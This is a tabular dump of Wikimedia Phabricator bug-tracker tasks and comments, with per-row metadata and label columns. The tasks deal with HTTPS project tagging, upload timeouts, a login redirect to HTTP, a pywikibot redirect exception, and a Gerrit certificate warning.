+> I propose to 1) kill T29946 (it once was about secure.wikimedia.org and then its scope got incorrectly broadened) and 2) rename ""Wikimedia-SSL-related"" to ""HTTPS"". Plus for both cases, when people say SSL they mostly mean TLS nowadays.
+
+Wholeheartedly agreed.
+
+> 1) T29946 has 11 open dependency tasks. 7 of them already have the ""Wikimedia-SSL-related"" project associated. For the [[ https://phabricator.wikimedia.org/maniphest/query/.VOOyf8ZqFtO/#R | remaining four ]], would that ""new"" HTTPS project refer to server configurations only, or also to e.g. codebases that do not have or support protocol-relative links (but only hardcoded http links)?
+
+I think this is the same discussion we were having about #Mail and similar labels. I think tagging everything relating to HTTPS with #HTTPS would be the intuitive to do. HTTPS being a yellow tag means that we'll have to tag those with additional projects, so that they can go to their respective team and we can filter them properly.
+
+> 2) For those 27 open tasks in ""Wikimedia-SSL-related"", do they all look sane when it comes to priorities (feel free to decrease for the sake of reality) and actually belonging into that project?
+
+I gave it a quick look. They look okay so far but we'll need to do another round of triaging.",,,1420741098,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-e4bsf5rwwfc27pa2cfo6,task_subcomment,,True,c3,1,True,,,-25,True,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,1,0,0,0,1,0,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,1,1,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,0,1,0,1,1,0,1,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1
+396810,HTTPS phabricator project(s),"I propose to 1) kill T29946 (it once was about secure.wikimedia.org and then its scope got incorrectly broadened) and 2) rename ""Wikimedia-SSL-related"" to ""HTTPS"". Plus for both cases, when people say SSL they mostly mean TLS nowadays.
+1) T29946 has 11 open dependency tasks. 7 of them already have the ""Wikimedia-SSL-related"" project associated. For the [[ https://phabricator.wikimedia.org/maniphest/query/.VOOyf8ZqFtO/#R | remaining four ]], would that ""new"" HTTPS project refer to server configurations only, or also to e.g. codebases that do not have or support protocol-relative links (but only hardcoded http links)?
+2) For those 27 open tasks in ""Wikimedia-SSL-related"", do they all look sane when it comes to priorities (feel free to decrease for the sake of reality) and actually belonging into that project?",,,1420737048,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-e4bsf5rwwfc27pa2cfo6,task_subcomment,,True,c3,1,True,,,-25,True,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,0,1,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,0,1,1,0,0,1
+396445,HTTPS phabricator project(s),I think my vote is to collapse the bugzilla project into one #Https label project since SSL does not assume any particular team this seems analogous to LDAP or Mail to me.,,,1420672393,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-e4bsf5rwwfc27pa2cfo6,task_subcomment,,True,c3,1,True,,,-26,True,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+86024,"""HTTP request timed out"" for large files","During an attempted GWToolset upload last year I encountered a problem when trying to upload some larger images 730Mb. The problem I encounter is that I get a HTTP timeout reply already at the second stage of the upload process.
+
+@Dan-nl has also tried debugging this one for a while and concluded that there seems to be something wrong with the http-request that uses curl to discover the headers of the item which for some reason times out even though it's only requesting headers and not the file.
+
+For testing the relevant xml is {F26865}, the mapping is at [[ http://commons.wikimedia.beta.wmflabs.org/wiki/GWToolset:Metadata_Mappings/Lokal_Profil/KB-maps.json | GWToolset:Metadata Mappings/Lokal Profil/KB-maps.json ]] and an example image for further testing can be found at https://data.kb.se/datasets/2014/06/kartor/2882568_53_Skargardskriget_hagelsta.tif",High,80.0,1420651643,1452356637.0,PHID-USER-uu7wg6g3b37dcktbje3a,False,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-TASK-mlrmob7b3nme5kaxvgsa,task_description,duplicate,True,c3,1,False,False,False,-26,True,1,1,0,1,1,1,1,0,1,0,0,1,0,1,1,1,0,1,1,1,1,0,1,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,0,0,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,1,1,1,0,1,1,0,1
+588019,"""HTTP request timed out"" for large files","There are many timeouts, one will still hit them given a big enough file, but the situation is much improved, so i do think it does make sense to close",,,1452370564,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-mlrmob7b3nme5kaxvgsa,task_subcomment,,True,c3,3,True,,,27,True,1,0,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0
+587999,"""HTTP request timed out"" for large files",Should we not close that task because T119053 is fixed. It sounds to me to be a duplicate of T119053.,,,1452356513,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-mlrmob7b3nme5kaxvgsa,task_subcomment,,True,c3,3,False,,,27,True,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0
+583877,"""HTTP request timed out"" for large files",">>! In T86024#1903348, @Aklapper wrote:
+>> Because of that bug we have GLAM partners stuck in their upload processes. 
+> 
+> More information welcome.
+
+I don't know what I can say more, maybe reading the following comment might help
+https://phabricator.wikimedia.org/T119053#1901103
+
+... anyway, pretty sure the overall HTTP request timeout for the GWT is 90s and this is definitely to short to download for example 200 MB over 10Mb/s bandwidth.",,,1450965736,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-mlrmob7b3nme5kaxvgsa,task_subcomment,,True,c3,3,False,,,25,True,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,1,1,1,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,1,0,0,1,1,0,1
+583871,"""HTTP request timed out"" for large files","> Because of that bug we have GLAM partners stuck in their upload processes. 
+
+More information welcome.",,,1450965192,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mlrmob7b3nme5kaxvgsa,task_subcomment,,True,c3,3,True,,,25,True,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0
+583357,"""HTTP request timed out"" for large files","It looks like the current timeout is 90s, it should be more something like 1200s. Because of that bug we have  GLAM partners stuck in their upload processes. We should raise the priority of that bug.",,,1450890347,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-mlrmob7b3nme5kaxvgsa,task_subcomment,,True,c3,3,False,,,24,True,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0
+401661,"""HTTP request timed out"" for large files",I have started uploading these files manually (well using python). The underlying problem in GWToolset still remains though.,,,1421768397,,PHID-USER-uu7wg6g3b37dcktbje3a,False,,,PHID-TASK-mlrmob7b3nme5kaxvgsa,task_subcomment,,True,c3,1,False,,,-24,True,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+85326,shinken.wmflabs.org redirects on https-login to http,the POST-answer after logging in with HTTPS via https://shinken.wmflabs.org/user/login redirects one to HTTP.,High,80.0,1419534643,1597679476.0,PHID-USER-jcypqodpdpbcicgwgh7j,False,PHID-USER-22bsa5u75jz3ci3wnplu,False,PHID-TASK-tr6rfwdwnschtceog6d4,task_description,resolved,True,c3,1,True,False,False,-27,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+1563536,shinken.wmflabs.org redirects on https-login to http,The shinken project has been closed and deleted.,,,1597679476,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-tr6rfwdwnschtceog6d4,task_subcomment,,True,c3,3,True,,,267,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+625968,shinken.wmflabs.org redirects on https-login to http,"Upstream ticket is closed and says ""can you try webui2 instead ? and make a PR for the new webui2 if you encounter this issue with this version ?""",,,1457479232,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tr6rfwdwnschtceog6d4,task_subcomment,,True,c3,3,True,,,35,True,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,1,0,0,0,0,0
+564262,shinken.wmflabs.org redirects on https-login to http,"I don't really know what's going on upstream but it sounds like a load of things have been changed, the patch might not still be valid.",,,1447778274,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tr6rfwdwnschtceog6d4,task_subcomment,,True,c3,3,True,,,19,True,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+545478,shinken.wmflabs.org redirects on https-login to http,https://github.com/naparuba/shinken/pull/1724,,,1444706288,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tr6rfwdwnschtceog6d4,task_subcomment,,True,c3,3,True,,,14,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+545477,shinken.wmflabs.org redirects on https-login to http,"I did a bit of digging through the shinken source code and found https://github.com/naparuba/shinken/blob/master/shinken/webui/bottlewebui.py#L997
+Whereas it's supposed to check HTTP_X_FORWARDED_PROTO like http://bottlepy.org/docs/dev/_modules/bottle.html#BaseRequest.url",,,1444706029,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tr6rfwdwnschtceog6d4,task_subcomment,,True,c3,3,True,,,14,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+545468,shinken.wmflabs.org redirects on https-login to http,"When you POST that login form, it returns HTTP 303 See Other with the http: location.",,,1444702562,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tr6rfwdwnschtceog6d4,task_subcomment,,True,c3,3,True,,,14,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+78123,exceptions in threadedhttp.Http._follow_redirect cause a lock up,"```
+>>> http.fetch(uri='http://getstatuscode.com/301')
+Exception in thread Thread-1:
+Traceback (most recent call last):
+  File ""/usr/lib64/python2.7/threading.py"", line 811, in __bootstrap_inner
+    self.run()
+  File ""pywikibot/comms/threadedhttp.py"", line 486, in run
+    item.data = self.http.request(*item.args, **item.kwargs)
+  File ""pywikibot/comms/threadedhttp.py"", line 254, in request
+    uri, method, body, headers, response, content, max_redirects)
+  File ""pywikibot/comms/threadedhttp.py"", line 273, in _follow_redirect
+    response, content)
+RedirectMissingLocation: Redirected but the response is missing a Location: header.
+```
+
+And the main thread doesnt return.
+
+This exception is thrown by threadedhttp, whereas threadedhttp normally returns the exception to be passed back to the main thread.",High,80.0,1418191715,1433512651.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-TASK-wia5aomivmjvpvurekei,task_description,resolved,True,c3,1,True,True,True,-30,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,1,1
+469863,exceptions in threadedhttp.Http._follow_redirect cause a lock up,"The original bug was resolved in 35936a7abfdd9531073215994f5376d3ed2004df and another problem was fix in d398fdc56e2601659088a60aa199224cb247f9cd (with more general problem detection added), but the actual broader problem probably wasnt fixed.
+However httplib2 has been replaced by requests, and boarder solutions are not needed for the 2.0 branch, and the possible re-introduction of httplib2 support would be a cut down implementation without follow support as it isnt needed according to my inquiries (see last comment on this bug) and the test suit confirms this with the minimal implementation on the table (https://gerrit.wikimedia.org/r/#/c/215603/ ).
+So nothing left to do here.",,,1433512651,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-wia5aomivmjvpvurekei,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0
+340577,exceptions in threadedhttp.Http._follow_redirect cause a lock up,"ya, we have a try.. catch inside .request , and it returns the exception to be processed by the client.  I think that should not be changed, which is where 503's normally happen.  It would only be unexpected exceptions which would be handled by HttpProcessor.run and result in a new worker being created.
+
+I am also interested in why we need the special follow code.  Im pretty sure it is being used because of %20 -> _ on MediaWiki sites, but that should only be needed for full urls to wiki pages, which is very rare occurrence in pywikibot core these days.",,,1418246578,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-wia5aomivmjvpvurekei,task_subcomment,,True,c3,1,True,,,-30,True,0,0,1,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+340570,exceptions in threadedhttp.Http._follow_redirect cause a lock up,"Yes, that sounds reasonable. This does have some implications for when we can and cannot re-use a connection, though -- we should prevent spinning up a new connection for typical issues (e.g. 503s).",,,1418245951,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-wia5aomivmjvpvurekei,task_subcomment,,True,c3,1,True,,,-30,True,1,0,0,0,1,1,0,0,1,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+340556,exceptions in threadedhttp.Http._follow_redirect cause a lock up,"I was thinking it should be in HttpProcessor.run , which has a try..finally , .. but not catch.  depending on how bad the exception is (and it is best to assume the worst, like some state has been irreparably altered: https://gerrit.wikimedia.org/r/#/c/178789/ ), it would be sensible to replace the dead http worker with a new one.",,,1418245466,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-wia5aomivmjvpvurekei,task_subcomment,,True,c3,1,True,,,-30,True,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,1,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,1,0
+340544,exceptions in threadedhttp.Http._follow_redirect cause a lock up,"I think that instead of the current
+
+```
+        try:
+            (response, content) = httplib2.Http.request(
+                self, uri, method, body, headers,
+                max_redirects, connection_type
+            )
+        except Exception as e:  # what types?
+            # return exception instance to be retrieved by the calling thread
+            return e
+```
+
+wrapper, we should actually just wrap all of `def request` with a try-catch block which returns e on error. Does that sound like the right solution to you?",,,1418244166,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-wia5aomivmjvpvurekei,task_subcomment,,True,c3,1,True,,,-30,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,1,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,1,1,0,1,0,0,0,1,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+340422,exceptions in threadedhttp.Http._follow_redirect cause a lock up,Presumably the same happens with 'raise httplib2.RedirectLimit' in the same method.,,,1418235345,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-wia5aomivmjvpvurekei,task_subcomment,,True,c3,1,True,,,-30,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+76826,User sees TOS when loging in,"on the login screen,
+https://metrics.wmflabs.org/login
+
+add this text from labs Terms of Use (TOS)
+https://wikitech.wikimedia.org/wiki/Wikitech:Labs_Terms_of_use#If_my_tools_collect_Private_Information...
+",High,80.0,1417743822,1420657634.0,PHID-USER-p3bvg5sos3lhe33uou2s,False,PHID-USER-p3bvg5sos3lhe33uou2s,False,PHID-TASK-xzyjz4vczkduv23zmlmy,task_description,duplicate,True,c3,1,True,True,True,-30,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+396321,User sees TOS when loging in,This was accomplished while working on T76107.  This task will be merged into that one.,,,1420657593,,PHID-USER-p3bvg5sos3lhe33uou2s,False,,,PHID-TASK-xzyjz4vczkduv23zmlmy,task_subcomment,,True,c3,1,True,,,-26,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+76562,Chrome warns about insecure certificate on gerrit.wikimedia.org,"Chrome:
+> The identity of this website has been verified by RapidSSL CA but it does not have public audit records.
+> The site is using outdated security settings that may prevent future versions of Chrome from being able to safely access it.
+
+{F18152}",High,80.0,1417590103,1422997247.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-TASK-bw55vakzcnxdtorfihta,task_description,resolved,True,c3,1,True,False,True,-31,True,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1
+406306,Chrome warns about insecure certificate on gerrit.wikimedia.org,"gerrit.wikimedia.org now has a new globalsign cert that is sha256, resolving.",,,1422997247,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0
+406230,Chrome warns about insecure certificate on gerrit.wikimedia.org,"cert has been purchased, the patchset to merge for this is:
+
+https://gerrit.wikimedia.org/r/#/c/188396/
+
+When this happens, someone has to rm the chained file for it to be properly recreated.  I've put in both Daniel and Chad to possibly review my patch (I rather not be the only set of eyes)",,,1422987166,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-22,True,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+401738,Chrome warns about insecure certificate on gerrit.wikimedia.org,Mark:  I assigned https://rt.wikimedia.org/Ticket/Display.html?id=9130 to you for your approval.,,,1421780481,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-24,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+401536,Chrome warns about insecure certificate on gerrit.wikimedia.org,"Alright, if it's complicated to do with misc-web, let's buy a one-off ticket for it then.",,,1421712205,,PHID-USER-hovi6c77qompv5qd7gtz,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,False,,,-24,True,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+399760,Chrome warns about insecure certificate on gerrit.wikimedia.org,the suggestion to use an iptables rule to forward 22 to 29418 came from Faidon recently on IRC,,,1421272311,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-25,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+399756,Chrome warns about insecure certificate on gerrit.wikimedia.org,"for the related issue that we want to make Gerrit listen on 22, and not on 29418, which we'd like anyways, besides the cert issue being influence by it
+
+https://phabricator.wikimedia.org/T84713
+https://gerrit.wikimedia.org/r/#/c/174015/
+https://gerrit.wikimedia.org/r/#/c/172313/
+https://phabricator.wikimedia.org/T37611",,,1421272219,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-25,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+399749,Chrome warns about insecure certificate on gerrit.wikimedia.org,"Ok, I was wrong about some of the above, Chad volunteered a bit more time so we could properly detail this.
+
+Gerrit runs and listens to 8080 for jetty on ytterbium.  It also listens on 80 for redirection to 443, and then 443 in apache redirects to 8080.  (This isn't confusing at all!)  If we moved this behind misc-web, we would drop all the apache config, and simply have misc-web direct traffic to 8080, and configure jetty to listen on the IP address.  However, this doesn't address the actual issue; ssh pulls for git/gerrit use port 29418.
+
+So the issue is we need to use port 8080 (gerrit web) and port 29418 (git/gerrit ssh).
+
+Daniel suggested that we could use an iptables rule on the misc-web systems to redirect all traffic for ytterbium port 29418 to bypass the varnish directly and go to the system, but we aren't entirely certain if it would work properly, and it is a non-standard solution to the issue.  So I'm not sure if we should adopt it, test it, or simply purchase the SSL certificate for gerrit to use on its own.
+
+Also note we'll have this issue again when gerrit is replaced by phabricator.  We'll either have to disable ssl pulls (and use https only, which is what Chad and I discussed but we aren't 100% certain ssl pull is needed), or do a similar hack as the above suggestion, since we want/need phabricator to stay cached, just buying a certificate won't solve that issue.",,,1421271551,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-25,True,1,0,1,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,0,0,1,0,1,0,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+399735,Chrome warns about insecure certificate on gerrit.wikimedia.org,"Well, first Faidon advised this wouldn't work, and that I shouldn't waste time on it.  I wanted to confirm why it wouldn't work, since I imagined I'd be asked in a ticket at some point.
+
